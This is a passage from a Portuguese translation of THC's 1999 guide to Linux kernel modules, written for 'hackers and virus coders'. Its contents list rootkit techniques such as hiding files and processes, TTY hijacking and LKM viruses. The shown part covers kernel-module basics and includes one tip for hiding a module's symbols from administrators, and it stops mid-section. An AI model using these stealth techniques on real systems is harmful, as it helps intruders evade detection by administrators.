============================================================================== Este documento foi escrito por pragmatic da THC(The Hackers Choice) em marco de 1999. E foi traduzido para a lingua portuguesa em abril de 2001 por : Blood_Sucker (blooding@punkmail.com) Hophet (hophet@yahoo.com.br) Agradeco tambem ao hak e ao h3ll da unsek, q ajudaram na traducao tambem. =] A versao original deste documento(em ingles) pode ser encontrada em: http://www.thehackerschoice.com/papers/LKM_HACKING.html Esta versao traduzida pode ser encontrada em: http://unsekurity.virtualave.net/ Traducao autorizada pela The Hackers Choice(THC). Thanks The Hackers Choice!!! Obs.: Os comentarios dos codigos nao foram traduzidos para nao afetar a integridade do mesmo. ============================================================================== (quase)Linux Completo Loadable Kernel Modules - o guia definitivo para hackers, coders de virus e administradores de sistema - escrito por pragmátic / THC, versão 1.0 lancado em 03/1999 CONTEÚDOS Introducão - I. Basico 1. O que sao LKMs 2. O que sao Syscalls 3. O Que eh um Kernel-Simbol-Table 4. Como transformar o Kernel para o User Space Memory 5. Modos para usar user space como funcões 6. Lista das funcoes de kernel space necessarias diariamente 7. Que eh o Kernel-Daemon 8. Criando seus proprios Dispositivos(Devices) - II. Diversão & Lucro 1. Como interceptar Syscalls 2. Syscalls interessantes p/ Interceptar 2.1 Achando systemcalls interessantes (o strace aproximam) 3. Confundindo o kernel's System Table 4. Relativo a Filesystem Hacks 4.1 Como Esconder Arquivos 4.2 Como esconder os conteúdos de arquivo (totalmente) 4.3 Como esconder certas partes de um arquivo (prototipo de implementação) 4.4 Como redirecionar operações de monitores de arquivo 4.5 Como evitar qualquer problema de dono de arquivo 4.6 Como fazer um unaccessible hacker-tools-directory 4.7 Como mudar Ambientes de CHROOT 5. Relacionado a Process Hacks 5.1 Como esconder qualquer processo 5.2 Como redirecionar Execução de arquivos 6. Hacking relacionado a Rede (Socket) 6.1 Como controlar Operacões de Sockets 7. Modos para Sequestrar TTY (TTY hijacking) 8. Vírus escritos com LKMs 8.1 Como um vírus de LKM pode infetar qualquer arquivo (não só módulos; prototipo) 8.2 Como um virus de LKM nos ajuda a entrar 9. Fazendo nosso LKM invisível & irremovivel 10. Outros modos de abusar do Kerneldaemon 11. Como fazer para checar a presenca de nosso LKM - III. Solucoes (Para admins) 1. LKM Detector Teoria & Idéias 1.1 Exemplo prático de um Detector de protótipo 1.2 Exemplo prático de protecao a prototipo password create_module(...) 2. Idéias de Anti-LKM-Infector 3. Faça seus programas sem pista (teoria) 3.1 Exemplo prático de um prototipo Anti-investigador(Anti-Tracer) 4. Enrigecendo o kernel do Linux com LKMs 4.1 Por que nós devemos permitir direitos de execução de programas arbitrários? 4.2 O Remendo de Vinculo ... ("Link Patch") 4.3 O /proc Patch permissão (a ideia de route's da Phrack implementado como LKM) 4.4 O Patch securelevel (a ideia de route's da Phrack implementado como LKM) 4.5 O Patch(remendo=atualizacao) de rawdisk - IV. Algumas Ideias Melhores (para hackers) 1. Truques para bater admin LKMs 2. Consertando o kernel inteiro - ou criando o Hacker-OS 2.1 Como achar Kernel Symbols em /dev/kmem 2.2 O novo 'insmod' trabalhando sem suporte do Kernel 3. Ultimas palavras - V. O proximo futuro: Kernel 2.2.x 1. Principal Diferenca para escritores de LKM - VI. Últimas Palavras 1. A 'historia LKM' ou 'como fazer um Plug System & Hacking compativel' 2. Links para outros Recursos Reconhecimentos Greets Apendice A - Codigos Fonte (Open-source) a) Infeccão de LKM por Stealthf0rk/SVAT b) Heroin - o clássico por Runar Jensen c) LKM Hider / Socket Backdoor por plaguez d) LKM TTY hijacking(sequestrador de TTY) por halflife e) AFHRM - a ferramenta de monitor por Michal Zalewski f) CHROOT modulo truque por FLoW/HISPAHACK g) Memoria de Kernel que Conserta por? (Kernel Memory Patching by ?) h) Insersao de Modulo sem suporte nativo por Silvio Cesare ------------------------------------------------------------------------ Introducão O uso do Linux em ambientes de servidor está crescendo segundo após segundo. Hackear um Linux assim fica mais interessante a cada dia. Uma das melhores tecnicas pra atacar um sistema Linux eh usar codigos de Kernel. Devido a sua caracteristica chamada Loadable Kernel Modules (LKMs) eh possivel escrever um codigo que corre em Kernel Space que nos permita ter acesso a partes muito sensiveis do OS. Havia alguns textos e arquivos relativo a LKM hacking antes (na Phrack, por exemplo) que sao muito bons. Eles introduziram ideias novas, metodos novos e LKMs completos dos quais os hackers sempre sonharam em ter. Tambem haviam algumas listas de discussoes publicas (Newsgroups, Mailinglists) em 1998 q eram muito interessantes. Assim, ja q ha tanta informacao por ai, por que eu escrevo um novo texto sobre LKMs? Bem, há várias razões: - Os textos anteriores as vezes não deram explicacões boas para novatos em Kernel; este texto tem uma secão básica muito grande e ajuda os novatos a entender os conceitos. Eu conheci muitas pessoas que usam exploits/sniffers muito interessantes, sem entender ate mesmo como eles trabalham. Eu inclui muitos codigos fonte neste texto, com muitos comentários, soh pra ajudar esses novatos que sabem que hacking eh mais do que jogar assolamento lá fora em algumas cadeias! - Todo texto publicado se concentrou em um assunto especial, não havia nenhum guia completo para hackers relativo a LKMs. Este texto cobrirá quase todos aspectos de Kernel ateh abusando de aspectos de virus. - Este texto foi escrito para hackers e virus coders, mas tambem ajudará admins e fomentadores de Kernel normais a fazerem um trabalho melhor - Textos anteriores nos mostraram as vantagens e principais metodos para se abusar de LKMs, mas há algumas coisas das quais nos não ouvimos falar. Este texto mostrará algumas ideias novas (nada totalmente novo, mas coisas que poderiam nos ajudar) - Este texto mostrará conceitos de alguns modos simples para se proteger de ataques de LKM - Este texto tambem mostrará como derrotar protecões de LKM usando metodos como Runtime Kernel Patching Por favor, lembre-se, as ideias "novas" são implementadas como prototicos de modulos (so para demonstracão) e tem de ser melhorados para os usar realmente. A minha motivacão principal eh dar para todo o mundo um texto grande que cobre o todo o problema de LKMs. No apendice A eu lhe dou alguns LKMs existentes + uma descricão pequena de seu funcionamento (para novatos) e modos para usa-lo. O texto inteiro (menos a parte V) está baseado em um Linux 2.0.x máquina (x86). Eu testei todos os programas e fragmentos de codigo. O sistema Linux se faz necessario para q o LKM possa ser usado na maioria dos exemplos de codigo deste texto. Soh a parte IV ja mostrará algumas fontes que trabalham sem apoio de LKM nativo. A maioria das ideias deste texto tambem funcionaram em 2.2.x sistemas (talvez voce precisará de alguma modificacão secundária); mas a revocacão eh que o Kernel 2.2.x foi lancado a pouco tempo(1/99) e a maioria das distribuicoes de linux ainda usam 2.0.x (Redhat, SuSE, Caldera,...). Em abril algumas distribuidores como SuSE apresentarão como seu Kernel as versoes 2.2.x; portanto voce não precisará saber hackear um kernel 2.2.x no momento. Apesar de nao haver grandes diferencas. Bons administradores tambem esperarão alguns meses por adquirir um kernel 2.2.x mais estavel. Nota: a Maioria dos sistemas ainda não precisam de kernel 2.2.x, sendo assim, eles continuarão usando 2.0.x. Este texto tem uma secão especial que deve ser lida atenciosamente sobre LKMs que ajudam admins para deixar o sistema seguro. Voce (hacker) tambem deveria ler esta secão, voce tem que saber tudo o q os admins sabem e mais um pouco hehe. Voce tambem obterá algumas ideias agradáveis naquela secão que pode lhe ajudar a desenvolver 'hacker-LKMs' mais avancados. Portanto leia o texto inteiro! E por favor lembre-se: Este texto foi escrito apenas para propositos educacionais. Qualquer acão ilegal baseada neste texto eh problema seu. I. Fundamentos (Basico) 1. O que sao LKMs LKMs(Loadable Kernel Modules) sao usados pelo kernel do linux para expandir sua funcionalidade. A vantagem de escolher LKMs: "Eles podem ser rodados dinamicamente", nao precisam da recompilacao do kernel, pois eles sao usados para um especifico device driver(ou filesystem) como uma placa de som, de rede, etc. Todos os LKMs consistem no minimo em 2 funcoes basicas: int init_module(void) /*used for all initialition stuff*/ { ... } void cleanup_module(void) /*used for a clean shutdown*/ { ... } Para rodar um module(ou modulo em portugues) - normalmente como root - eh necessario usar o seguinte comando: # insmod module.o Este comando forca o sistema a rodar o seguinte algoritmo: - Roda o arquivo objeto(module.o) - chama a create_module systemcall(para saber sobre systemcalls olhe o capitulo I.2) para realocacao da memoria. - referencias nao-resolvidas sao resolvidas pelos Kernel-Symbols com o systemcall get_kernel_syms - depois o systemcall init_module eh usado pra inicializacao do LKM - executando int init_module(void) etc. Os Kernel-Symbols saun explicados no I.3(Kernel-Symbol-Table) Entao acho q podemos escrever nosso primeiro LKM apenas mostrando como funciona basicamente(LKMs sao escritos em C): #define MODULE #include int init_module(void) { printk("<1>Hello World\n"); return 0; } void cleanup_module(void) { printk("<1>Bye, Bye"); } Voce deve estar se perguntando porque eu usei a funcao printk() ao inves de printf(). Bem, programacao de kernel(Kernel-Programming) eh totalmente diferente de programacao normal(Userspace-Programming). Voce soh tem uma grande restricao de comandos(veja I.6). Com os comandos vc nao pode fazer muita coisa, mas quando vc aprender a usar o monte de funcoes vc sabera por suas aplicacoes como hackear um kernel. Seja paciente, temos q fazer muita coisa antes... O exemplo q dei pode ser facilmente compilado assim: # gcc -c -O3 helloworld.c # insmod helloworld.o Ok, o modulo esta rodando e foi mostrado a nos a famosa frase. Agora vc pode checar alguns comandos mostrando como o LKM realmente atua no kernel. # lsmod Module Pages Used by helloworld 1 0 Este comando le as informacoes no /proc/modules para mostrar os modulos q estao sendo rodados no momento. 'Pages' eh a informacao da memoria(quantas paginas tem este modulo) e 'Used by' mostra-nos como este modulo eh usado no sistema(conta de referencia). O modulo pode simplesmente ser removido, quando este Used by eh zero; depois de checar issu, vc pode remover este comdulo com: # rmmod helloworld Ok, este foi nosso pequeno (muuuuioto pequeno) primeiro passo em LKMs. Eu sempre comparo LKMs com velhas DOS TSR Programs(sim, existem diversas diferencas, eu sei), eles saun feitos para ficar na memoria e pegar todas as interrupts q procuramos. Microdoft Windows 9x tem algo como VxD, algo similar a LKMs(porem muito diferentes). A parte mais interessante de residentiar programas eh a habilidade de fisgar funcoes. 2. O que sao systemcalls(chamada de sistemas) Vc deve saber q todos os sistemas operacionais tem algumas funcoes ja imbutidas no kernel, q sao usadas em todas operacoes do sistema. As funcoes do linux sao called systemcalls(chamada de sistema omitida). Elas representam uma transicao do user com o kernel space. Abrir um arquivo(fopen()) no userspace eh representado pela systemcall sys_open no kernel space. Para uma lista completa com todos os systemcalls avaliados no seu sistema, olhe o arquivo /usr/include/sys/syscall.h. Esta lista abaixo mostra o meu syscall.h: #ifndef _SYS_SYSCALL_H #define _SYS_SYSCALL_H #define SYS_setup 0 /* Used only by init, to get system going. */ #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close 6 #define SYS_waitpid 7 #define SYS_creat 8 #define SYS_link 9 #define SYS_unlink 10 #define SYS_execve 11 #define SYS_chdir 12 #define SYS_time 13 #define SYS_prev_mknod 14 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_break 17 #define SYS_oldstat 18 #define SYS_lseek 19 #define SYS_getpid 20 #define SYS_mount 21 #define SYS_umount 22 #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_stime 25 #define SYS_ptrace 26 #define SYS_alarm 27 #define SYS_oldfstat 28 #define SYS_pause 29 #define SYS_utime 30 #define SYS_stty 31 #define SYS_gtty 32 #define SYS_access 33 #define SYS_nice 34 #define SYS_ftime 35 #define SYS_sync 36 #define SYS_kill 37 #define SYS_rename 38 #define SYS_mkdir 39 #define SYS_rmdir 40 #define SYS_dup 41 #define SYS_pipe 42 #define SYS_times 43 #define SYS_prof 44 #define SYS_brk 45 #define SYS_setgid 46 #define SYS_getgid 47 #define SYS_signal 48 #define SYS_geteuid 49 #define SYS_getegid 50 #define SYS_acct 51 #define SYS_phys 52 #define SYS_lock 53 #define SYS_ioctl 54 #define SYS_fcntl 55 #define SYS_mpx 56 #define SYS_setpgid 57 #define SYS_ulimit 58 #define SYS_oldolduname 59 #define SYS_umask 60 #define SYS_chroot 61 #define SYS_prev_ustat 62 #define SYS_dup2 63 #define SYS_getppid 64 #define SYS_getpgrp 65 #define SYS_setsid 66 #define SYS_sigaction 67 #define SYS_siggetmask 68 #define SYS_sigsetmask 69 #define SYS_setreuid 70 #define SYS_setregid 71 #define SYS_sigsuspend 72 #define SYS_sigpending 73 #define SYS_sethostname 74 #define SYS_setrlimit 75 #define SYS_getrlimit 76 #define SYS_getrusage 77 #define SYS_gettimeofday 78 #define SYS_settimeofday 79 #define SYS_getgroups 80 #define SYS_setgroups 81 #define SYS_select 82 #define SYS_symlink 83 #define SYS_oldlstat 84 #define SYS_readlink 85 #define SYS_uselib 86 #define SYS_swapon 87 #define SYS_reboot 88 #define SYS_readdir 89 #define SYS_mmap 90 #define SYS_munmap 91 #define SYS_truncate 92 #define SYS_ftruncate 93 #define SYS_fchmod 94 #define SYS_fchown 95 #define SYS_getpriority 96 #define SYS_setpriority 97 #define SYS_profil 98 #define SYS_statfs 99 #define SYS_fstatfs 100 #define SYS_ioperm 101 #define SYS_socketcall 102 #define SYS_klog 103 #define SYS_setitimer 104 #define SYS_getitimer 105 #define SYS_prev_stat 106 #define SYS_prev_lstat 107 #define SYS_prev_fstat 108 #define SYS_olduname 109 #define SYS_iopl 110 #define SYS_vhangup 111 #define SYS_idle 112 #define SYS_vm86old 113 #define SYS_wait4 114 #define SYS_swapoff 115 #define SYS_sysinfo 116 #define SYS_ipc 117 #define SYS_fsync 118 #define SYS_sigreturn 119 #define SYS_clone 120 #define SYS_setdomainname 121 #define SYS_uname 122 #define SYS_modify_ldt 123 #define SYS_adjtimex 124 #define SYS_mprotect 125 #define SYS_sigprocmask 126 #define SYS_create_module 127 #define SYS_init_module 128 #define SYS_delete_module 129 #define SYS_get_kernel_syms 130 #define SYS_quotactl 131 #define SYS_getpgid 132 #define SYS_fchdir 133 #define SYS_bdflush 134 #define SYS_sysfs 135 #define SYS_personality 136 #define SYS_afs_syscall 137 /* Syscall for Andrew File System */ #define SYS_setfsuid 138 #define SYS_setfsgid 139 #define SYS__llseek 140 #define SYS_getdents 141 #define SYS__newselect 142 #define SYS_flock 143 #define SYS_syscall_flock SYS_flock #define SYS_msync 144 #define SYS_readv 145 #define SYS_syscall_readv SYS_readv #define SYS_writev 146 #define SYS_syscall_writev SYS_writev #define SYS_getsid 147 #define SYS_fdatasync 148 #define SYS__sysctl 149 #define SYS_mlock 150 #define SYS_munlock 151 #define SYS_mlockall 152 #define SYS_munlockall 153 #define SYS_sched_setparam 154 #define SYS_sched_getparam 155 #define SYS_sched_setscheduler 156 #define SYS_sched_getscheduler 157 #define SYS_sched_yield 158 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_rr_get_interval 161 #define SYS_nanosleep 162 #define SYS_mremap 163 #define SYS_setresuid 164 #define SYS_getresuid 165 #define SYS_vm86 166 #define SYS_query_module 167 #define SYS_poll 168 #define SYS_syscall_poll SYS_poll #endif /* */ Todo systemcall tem um numero definido(como deve ter reparado na lista), q sao usados para para pegar o systemcall. O kernel usa a interrupt(interrupcao) 0x80 para trabalhar com todos os systemcalls. O numero do systemcall e qualquer outro argumento eh movido para alguns registradores(eax para systemcall number, por exemplo). O systemcall number eh uma indexacao (em uma matriz(array)) da estrutura sys_call_table[]. Esta estrutura procura os systemcall numbers para o servico necessario da funcao. Ok, este eh o conhecimento suficiente para vc continuar lendo. A proxima tabela mostra systemcalls muuito interessantes com uma pequena descricao. Acredite em mim, vc tem q saber como funciona exatamente diversar systemcalls para ter realmente um bom proveitamento em LKMs. USAGE: systemcall; descricao ============================================================================== int sys_brk(unsigned long new_brk); | muda o tamanho usado pelo DS(data | segment) -> esse systemcall sera | discutido em I.4 ============================================================================== int sys_fork(struct pt_regs regs); | systemcall para a famosa funcao fork() | do user space ============================================================================== int sys_getuid () | Systemcalls para trabalhas com UID etc. int sys_setuid (uid_t uid) | ... | ============================================================================== | systemcall para acessar int sys_get_kernel_sysms(struct kernel_sym *table) | a tabela de sistemas do | kernel => veja em I.3 =============================================================================== int sys_sethostname (char *name, int len); | sys_sethostname eh responsavel por int sys_gethostname (char *name, int len); | setar o hostname e sys_gethostname | para pega-lo. =============================================================================== int sys_chdir (const char *path); | Ambas funcoes sao usadas para setar int sys_fchdir (unsigned int fd); | um devido diretorio (cd ...) =============================================================================== int sys_chmod (const char *filename, mode_t mode); | int sys_chown (const char *filename, mode_t mode); | funcoes para trabalhas int sys_fchmod (unsigned int fildes, mode_t mode); | com permissoes int sys_fchown (unsigned int fildes, mode_t mode); | =============================================================================== int sys_chroot (const char *filename); | seta o diretorio root para chamada de | processos =============================================================================== | este eh importante, ele eh responsavel int sys_execve (struct pt_regs regs); | por execucao de arquivos(pt_regs eh o | registro de pilha) =============================================================================== long sys_fcntl (unsigned int fd, | mudando caracteristicas offd (descricao unsigned int cmd, unsigned long arg); | de arquivo aberto) =============================================================================== int sys_link (const char *oldname, const char *newname); | systemcalls para int sym_link (const char *oldname, const char *newname); | trabalhar com int sys_unlink (const char *name); |(hard/soft)-links =============================================================================== int sys_rename (const char *oldname, const char *newname); | renomear arquivos =============================================================================== int sys_rmdir (const char* name); | criando e removendo int sys_mkdir (const *char filename, int mode); | diretorios =============================================================================== int sys_open (const char *filename, int mode);| tudo relacionado a abertura, int sys_close (unsigned int fd); | fechamento e criacao de arquivos =============================================================================== int sys_read (unsigned int fd, char *buf, | unsigned int count); | systemcall para escrita & leitura int sys_write (unsigned int fd, char *buf, | de arquivos unsigned int count); | =============================================================================== int sys_getdents (unsigned int fd, | systemcall para requisitar uma struct dirent *dirent, unsigned int count); | listagem de arquivos =============================================================================== int sys_readlink (const char *path, | lendo links simbolicos char *buf, int bufsize); | =============================================================================== int sys_selectt (int n, fd_set *inp, | multiplas operacoes de I/O(in/out), fd_set *outp, fd_set *exp, | ou seja, entrada e saida. struct timeval *tvp); | =============================================================================== sys_socketcall (int call, | funcoes com sockets unsigned long args); | =============================================================================== unsigned long sys_create_module (char *name, | unsigned long size); | int sys_delete_module (char *name); | usado para rodar ou "desrodar" int sys_query_module (const char *name, | LKMs int which, void *buf, size_t bufsize, | size_t *ret); | =============================================================================== Na minha opiniao estes sao os mais interessantes systemcalls para qualquer intencao hacker, eh claro que para isso se tornar possivel voce precisara de algo especial no seu sistema rooteado, mas a diversidade hacker tem uma enorme utilidade na a lista assima. Na parte II vc precisara aprender como usar systemcalls para seu proprio lucro. 3. O que eh Kernel-Symbol-Table(Tabela de Simbolos do Kernel) Ok, nos entendemos os conceitos basicos de systemcalls e modulos. Mas aqui esta um outro ponto importante que temos que entender - a Kernel-Symbol-Table. De uma olhada no /proc/ksyms. Tudo neste arquivo representa um Kernel Symbol, que pode ser acessado pelo nosso LKM. De uma boa olhada neste arquivo, voce ira encontrar difersas coisas interessantes. Este arquivo eh realmente muito interessant, e pode nos ajudar a ver o que nosso LKM pode fazer, mas tem um problema, todo symbol usado em nosso LKM(como uma funcao) eh entao exportado publicamente, e entao eh listado naquele arquivo. Entao um administrador experiente pode descobrir nosso pequeno LKM e killalo. Existem diversas maneiras de prevenir que um adm veja nosso LKM, de uma olhada na secao II. Os metodos mencionados na secao II podem ser chamados de 'Hacks', mas quando voce da uma olhada na secao II vc nao encontra uma referencia de 'Deixando LKM Symbols fora do /proc/ksyms. Desenvolvedores de LKM usam o seguinte codigo para limitar a exportacao de simbolos daquele modulo: static struct symbol_table module_syms= { /*we define our own symbol table !*/ #include /*symbols we want to export, do we ?*/ ... }; register_symtab(&module_syms); /*do the actual registration*/ Como eu disse, nos nao queremos exportar simbolos publicamente, entao usamos a seguinte instrucao: register_symtab(NULL); Esta linha sera inserida na funcao init_module(), lembre-se disso! 4. Como transformar o kernel em uma User Space Memory Ateh agora a coisa tem sido bastante basica e bastante facil. Agora vamos degustar algo mais dificil(mas nao mais avancado). Nos temos muitas vantagens na programacao do kernel space, mas nos tambem temos algumas desvantagens. Systemcalls pegam os argumentos do user space (que sao implementados na libc), mas nosso LKM roda em um kernel space. Na secao II voce ira ver como eh importante checar argumentos de alguns systemcall de forma que ajam de uma certa maneira. Mas como podemos acessar um argumento alocado num user space por um kernel space module??? Solucao: Temos de fazer uma transicao. Isso pode parecer estranho para nao-kernel-hackers, mas eh realmente facil. De uma olhada neste systemcall: int sys_chdir (const char *path) Imagine o sistema chamando isso, e nos interceptamos aquela chamada(nos vamos aprender a fazer isso na porra da secao II). Nos queremos checar algo que queremos setar, entao temos que acessar a const char *path. Se voce tentar acessar a variavel diretamente como... printk("<1>%s\n", path); ...voce tera grandes problemas... Lembrese que voce esta no kernel scape, vc nao pode ler a user space memory. Na phrack 52 voce tem uma solucao pelo plaguez, com strings especiais. Ele usa uma funcao de kernel para requisitar user space memory bytes: #include get_user(pointer); Dando esta funcao para um ser localizada pelo ponteiro *path ira nos ajudar a pegar bytes da user space memory para o kernel space. Olhe a implementacao feita por plaguez para mover strings de user para kernel space: char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } Se nos quisermos converter nossa variavel *path, nos podemos usar o seguinte pedaco do codigo do kernel: char *kernel_space_path; kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory in kernel space*/ (void) strncpy_fromfs(test, path, 20); /*calling plaguez's function*/ printk("<1>%s\n", kernel_space_path); /*now we can use the data for whatever we want*/ kfree(test); /*remember freeing the memory*/ O codigo acima funciona muito bem, Para uma transicao geral isso eh muito complicado, plaguez usou isso apenas para strings(a funcao eh feita apenas para copias de strings). Para uma transicao normal a seguinte funcao eh o jeito mais facil de se fazer: #include void memcpy_fromfs(void *to, const void *from, unsigned long count); Ambas funcoes sao basicamente baseadas no mesmo tipo de comando, mas a segunda nao eh exatamente como a funcao definida por plaguez. Eu irei recomenda-lo a usar memcpy_fromfs() para uma transicao geral e a maneira de plaguez para copiar strings. Agora nos sabemos como converter de um user space para um kernel space. Mas e a outra maneira?? Este eh um bit dificil, podemos nao podemos facilmente alocar user space memory pela posicao do kernel space. Se nos quisessemos trabalhar com este problema nos teriamos de usar: #include void memcpy_tofs(void *to, const void *from, unsigned long count); fazendo esta conversao. Mas como alocar user space para o o ponteiro *to?? a phrack do plaguez nos deu uma solucao melhor: /*we need brk systemcall*/ static inline _syscall1(int, brk, void *, end_data_segment); ... int ret, tmp; char *truc = OLDEXEC; char *nouveau = NEWEXEC; unsigned long mmm; mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); Issu eh muito legal de usar aqui. Eh um ponteiro apontando para a estrutura do processo; mm eh o ponteiro para a mm_struct - responsavel pelo trabalho do processo com a memoria. Usando a brk-systemcall na devida => mm <=, brk nos habilitara a aumentar o tamanho da área não utilizada do datasegment. E como sabemos, alocar a memória é feito com o datasegment, assim que aumentando o tamanho não utilizado da área, nós alocamos alguma parte da memória para o processo atual. Esta memória pode ser usada copiando a memória do kernel space memory para o user space(do processo atual). Voce deve estar se perguntando sobre a primeira linha do codigo acima. Esta linha nos ajudara a usar o user space como funcoes do kernel space. Toda funcao do user space fornecida a nos(como fork, brk, open, read, write, ...) eh representada por um syscall(). Entao nos podemos construir o systemcall exato para uma certa funcao do user space(representada por um systemcall) aqui para o brk(). Veja I.5 para uma explicacao mais detalhada. 5. Maneiras de usar o user space como funcoes Como voce viu no I.4 nos usamos um systemcall para construir nossa proprio brk call, que eh como esse que nos conhecemos no user space (->brk(2)). A verdade sobre as funcoes da user space library(nem todas) eh que todos sao inplementados como systemcalls. O seguinte codigo mostra o esquema do the_syscall1() usado em I.4 para construir a funcao de brk(). (do /asm/unistd.h). #define _syscall1(type,name,type1,arg1) \ type name(type1 arg1) \ { \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1))); \ if (__res >= 0) \ return (type) __res; \ errno = -__res; \ return -1; \ } Voce nao precisa entender este codigo em sua funcao cheia, ele apenas chama a interrupcao 0x80 com os argumentos fornecidos pelos parametros do _syscall1 (=> I.2) para o systemcall que precisamos (o nome eh expandido para __NR_name, que eh definido em /asm/unistd.h) Desta forma nos implementamos a funcao do brk. Outras funções com uma contagem diferente dos argumentos são executadas com outros macros (_syscallX, onde X eh trocado pelo numero de argumentos). Eu pessoalmente uso outra maneira para implementar funcoes; olhe este exemplo: int (*open)(char *, int, int); /*declare a prototype*/ open = sys_call_table[SYS_open]; /*you can also use __NR_open*/ Desta maneira vc nao precisa usar nenhum systemcall macro, vc apenas usa uma funcao apontada por um sys_call_table. Enquanto estivava procurando na web, eu encontrei esta maneira de construir user space como funcoes e entao usar o famoso LKIM infector do SVAT. Na minha opiniao esta eh a melhor solucao, mas teste e julgue voce mesmo. Seja cuidadoso quando fornecer argumentos para aquele systemcall, eles precisam ser em modo user space e nao numa posicao de kernel space. Leia I.4 para conhecer maneiras de trazer os seus dados do kernel space para o user space. Uma maneira muita facil de se fazer isso(a melhor na minha opiniao) eh jogar com os registros necessarios. Voce tem q saber se akele linux usa seletores de segmento para diferenciar entre kernel space, user space e tals...Argumentos usados com systemcalls sao usados pelo kernel. que foram necessarios no user space estao em algum lugar do data segment selector(DS). [Eu nao mencionei isso no I.4, porque tem mais alguns ajustes nessa secao] O DS pode ser requerido usando o get_ds() do asm/segment.h. Entao o dado usado como parametro pelo systemcall pode apenas acessar pelo kernel se nos setarmos o DS usado pelo kernel. Isso pode ser feito usando set_fs(). Mas seja cuidadoso, voce tem que restaurar o FS depois de acessar o argumento do systemcall. Entao de uma olhada no codigo abaixo q mostra alguma coisa sobre: ->filename is in our kernel space; a string we just created, for example unsigned long old_fs_value=get_fs(); set_fs(get_ds); /*after this we can access the user space data*/ open(filename, O_CREAT|O_RDWR|O_EXCL, 0640); set_fs(old_fs_value); /*restore fs...*/ Na minha opinicao esta eh a maneita pratica/economica de resolver o problema, mas teste vc mesmo(denovo). Lembre-se das funcoes q eu mostrei ateh agora(brk, open, ...)que sao todas implementadas por um systemcall. Mas sao muitos grupos de funcoes do user space que sao usadas em um systemcall. De uma olhada na lista dos systemcalls mais intere 6. Lista das funcoes de kernel space necessarias diariamente Eu introduzi a funcao printk() no comeco do texto. Ela eh uma funcao que todos podem usar no kernel space, eh uma funcao do kernel bastante usada. Outras funcoes sao feitas para desenvolvedores de kernel que necessitam de funcoes complexas que sao normalmente apenas avaliadas atraves de uma funcao de biblioteca(library). A seguinte lista mostra as mais importantes funcoes de kernel que nos precisamos: Funcao/Macro Descricao ====================================================================== int sprintf (char *buf, | const char *fmt, ...); | funcoes para dados empacotados int vsprintf (char *buf, | em strings const char *fmt, va_list args); | ====================================================================== printk(...) | O mesmo que printf no user space ====================================================================== void *memset (void *s, char c, size_t count); | void *memcpy (void *dest, const void *src, size_t count); | char *bcopy (const char *src, char *dest, int count); | funcoes de void *memmove (void *dest, const void *src, size_t count); | memoria int memcmp (const void *cs, const void *ct, size_t count); | void *memscan (void *addr, unsigned char c, size_t size); | ====================================================================== int register_symtab (struct symbol_table *intab); | veja I.1 ====================================================================== char *strcpy (char *dest, const char *src); | char *strncpy (char *dest, const char *src, size_t count); | char *strcat (char *dest, const char *src); | char *strncat (char *dest, const char *src, size_t count); | int strcmp (const char *cs, const char *ct); | int strncmp (const char *cs,const char *ct, size_t count); | funcoes char *strchr (const char *s, char c); | para size_t strlen (const char *s); | comparar size_t strnlen (const char *s, size_t count); | strings size_t strspn (const char *s, const char *accept); | etc. char *strpbrk (const char *cs, const char *ct); | char *strtok (char *s, const char *ct); | ====================================================================== unsigned long simple_strtoul (const char *cp, | convertendo Strings char **endp, unsigned int base); | para numeros ====================================================================== get_user_byte (addr); | put_user_byte (x, addr); | get_user_word (addr); | funcoes para acessar memoria de put_user_word (x, addr); | usuario get_user_long (addr); | put_user_long (x, addr); | ====================================================================== suser(); | checando por superusuarios atuais fsuser(); | ====================================================================== int register_chrdev (unsigned int major, | const char *name, struct file_o perations *fops); | funcoes que regis- int unregister_chrdev (unsigned int major, | tram device drivers: const char *name); | _chrdev => character int register_blkdev (unsigned int major, | devices const char *name, struct file_o perations *fops); | _blkdev => block int unregister_blkdev (unsigned int major, | devices const char *name); | ====================================================================== Por favor, lembre-se que algumas funcoes acima podem ser uteis ao metodo mencionado no I.5. Mas vc precisa entender, isso nao eh muito usado para construcao em user space como funcao. Mais tarde voce vera q estas funcoes (especialmente comparacoes de strings) sao muito importantes para nossas aventuras hehehe.... 7. O que eh o Kernel-Daemon Finalmente estamos perto do fim desta parte basica. Agora eu vou explicar o funcionamento do Kernel-Daemon(/sbin/kerneld). Como o proprio nome diz este eh um processo do user space esperando por alguma acao. Antes de tudo voce tem q saber o q eh necessario para ativar a opcao kerneld no kernel, em ordem para usar as caracteristicas do kernel. Kerneld funciona da seguinte maneira: Se o kernel quer acessar um recurso(em kernel space eh claro), que nao esta presente no momento, ele NAO produz erro. Tendo feito issu ele pergunta ao kerneld por akele recurso. Se o kerneld estiver apto a prover o recurso, ele roda o LKM requerido e o kernel pode continuar funcionando. Usando este esquema eh possivel loadar e desloadar LKMs apenas quando eles sao realmente necessarios/nao necessarios. Precisa ficar claro que para issu funcionar tem de ser ambos em user e kernel space. Kerneld existe no user space. Se o kernel requisitar um novo modulo este daemon recebe uma string do kerneel dizendo qual modulo rodar. Eh possivel q o kernel envie um nome generico(como o nome do arquivo objeto) como eth0. Neste caso o sistema precisa acessar o /etc/modules.conf para as linhas alias. Estas linhas trazem nomes genericos dos LKMs requeridos nakele sistema. A seguinte linha diz q a eth0 eh representada pelo LKM DEC Tulip driver: # /etc/modules.conf # or /etc/conf.modules - this differs alias eth0 tulip Esta foi a maneira em user space representada pelo kerneld daemon. O kernel space eh representado por 4 funcoes. Estas funcoes sao todas baseadas em chamadas do kerneld_send. Para ser mais exato, kernel_send eh envolvido com varias chamadas de funcoes no linux/kerneld.h. A seguinte tabela lista as 4 funcoes menciodas ai acima: ===================================================================== funcao | descricao 